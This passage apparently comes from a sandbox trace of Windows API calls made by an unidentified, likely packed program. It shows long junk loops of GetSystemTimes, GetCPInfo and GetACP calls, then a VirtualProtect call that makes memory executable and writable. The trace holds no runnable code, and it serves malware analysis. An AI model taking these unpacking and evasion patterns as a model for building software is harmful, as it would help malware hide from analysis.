lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.046] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.046] GetACP () returned 0x4e4 [0048.046] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.046] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.046] GetACP () returned 0x4e4 [0048.046] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.046] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.046] GetACP () returned 0x4e4 [0048.046] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.046] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.046] GetACP () returned 0x4e4 [0048.046] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.046] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.047] GetACP () returned 0x4e4 [0048.047] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.047] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.047] GetACP () returned 0x4e4 [0048.047] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.047] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.047] GetACP () returned 0x4e4 [0048.047] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.047] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.047] GetACP () returned 0x4e4 [0048.047] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.047] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.047] GetACP () returned 0x4e4 [0048.047] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.047] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.047] GetACP () returned 0x4e4 [0048.047] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.047] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.047] GetACP () returned 0x4e4 [0048.047] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.047] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.047] GetACP () returned 0x4e4 [0048.047] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.047] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.047] GetACP () returned 0x4e4 [0048.047] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.047] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.047] GetACP () returned 0x4e4 [0048.048] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.048] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.048] GetACP () returned 0x4e4 [0048.048] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.048] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.048] GetACP () returned 0x4e4 [0048.048] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.048] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.048] GetACP () returned 0x4e4 [0048.048] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.048] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.048] GetACP () returned 0x4e4 [0048.048] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.048] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.048] GetACP () returned 0x4e4 [0048.048] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.048] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.048] GetACP () returned 0x4e4 [0048.048] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.048] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.048] GetACP () returned 0x4e4 [0048.048] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.048] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.048] GetACP () returned 0x4e4 [0048.048] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.048] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.048] GetACP () returned 0x4e4 [0048.049] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.049] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.049] GetACP () returned 0x4e4 [0048.049] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.049] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.049] GetACP () returned 0x4e4 [0048.049] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.049] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.049] GetACP () returned 0x4e4 [0048.049] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.049] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.049] GetACP () returned 0x4e4 [0048.049] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.049] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.049] GetACP () returned 0x4e4 [0048.049] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.049] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.049] GetACP () returned 0x4e4 [0048.049] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.049] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.049] GetACP () returned 0x4e4 [0048.049] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.049] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.049] GetACP () returned 0x4e4 [0048.049] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.049] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.049] GetACP () returned 0x4e4 [0048.049] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.050] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.050] GetACP () returned 0x4e4 [0048.050] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.050] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.050] GetACP () returned 0x4e4 [0048.050] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.050] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.050] GetACP () returned 0x4e4 [0048.050] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.050] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.050] GetACP () returned 0x4e4 [0048.050] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.050] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.050] GetACP () returned 0x4e4 [0048.050] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.050] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.050] GetACP () returned 0x4e4 [0048.050] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.050] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.050] GetACP () returned 0x4e4 [0048.050] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.050] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.050] GetACP () returned 0x4e4 [0048.050] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.050] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.050] GetACP () returned 0x4e4 [0048.050] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.051] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.051] GetACP () returned 0x4e4 [0048.051] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.051] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.051] GetACP () returned 0x4e4 [0048.051] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.051] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.051] GetACP () returned 0x4e4 [0048.051] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.051] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.051] GetACP () returned 0x4e4 [0048.051] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.051] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.051] GetACP () returned 0x4e4 [0048.051] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.051] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.051] GetACP () returned 0x4e4 [0048.051] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.051] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.051] GetACP () returned 0x4e4 [0048.051] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.051] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.051] GetACP () returned 0x4e4 [0048.051] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.051] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.051] GetACP () returned 0x4e4 [0048.051] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.052] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.052] GetACP () returned 0x4e4 [0048.052] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.052] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.052] GetACP () returned 0x4e4 [0048.052] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.052] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.052] GetACP () returned 0x4e4 [0048.052] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.052] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.052] GetACP () returned 0x4e4 [0048.052] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.052] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.052] GetACP () returned 0x4e4 [0048.052] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.052] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.052] GetACP () returned 0x4e4 [0048.052] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.052] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.052] GetACP () returned 0x4e4 [0048.332] VirtualProtect (in: lpAddress=0x5d5ab8, dwSize=0xf540, flNewProtect=0x40, lpflOldProtect=0x43b444 | out: lpflOldProtect=0x43b444*=0x4) returned 1 [0048.333] AddAtomA (lpString=0x0) returned 0x0 [0048.333] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.333] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.333] AddAtomA (lpString=0x0) returned 0x0 [0048.333] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.333] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.333] AddAtomA (lpString=0x0) returned 0x0 [0048.333] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.333] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.333] AddAtomA (lpString=0x0) returned 0x0 [0048.333] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.333] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.333] AddAtomA (lpString=0x0) returned 0x0 [0048.333] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.333] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.333] AddAtomA (lpString=0x0) returned 0x0 [0048.333] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.333] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.333] AddAtomA (lpString=0x0) returned 0x0 [0048.333] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.333] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.334] AddAtomA (lpString=0x0) returned 0x0 [0048.334] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.334] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.334] AddAtomA (lpString=0x0) returned 0x0 [0048.334] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.334] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.334] AddAtomA (lpString=0x0) returned 0x0 [0048.334] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.334] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.334] AddAtomA (lpString=0x0) returned 0x0 [0048.334] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.334] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.334] AddAtomA (lpString=0x0) returned 0x0 [0048.334] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.334] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.334] AddAtomA (lpString=0x0) returned 0x0 [0048.334] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.334] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.334] AddAtomA (lpString=0x0) returned 0x0 [0048.334] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.334] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.334] AddAtomA (lpString=0x0) returned 0x0 [0048.334] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.334] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.334] AddAtomA (lpString=0x0) returned 0x0 [0048.334] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.334] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.334] AddAtomA (lpString=0x0) returned 0x0 [0048.334] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.334] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.334] AddAtomA (lpString=0x0) returned 0x0 [0048.334] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.334] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.334] AddAtomA (lpString=0x0) returned 0x0 [0048.335] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.335] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.335] AddAtomA (lpString=0x0) returned 0x0 [0048.335] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.335] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.335] AddAtomA (lpString=0x0) returned 0x0 [0048.335] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.335] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.335] AddAtomA (lpString=0x0) returned 0x0 [0048.335] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.335] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.335] AddAtomA (lpString=0x0) returned 0x0 [0048.335] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.335] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.335] AddAtomA (lpString=0x0) returned 0x0 [0048.335] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.335] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.335] AddAtomA (lpString=0x0) returned 0x0 [0048.335] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.335] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.335] AddAtomA (lpString=0x0) returned 0x0 [0048.335] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.335] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.335] AddAtomA (lpString=0x0) returned 0x0 [0048.335] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.335] GetCurrentDirectoryA (in: 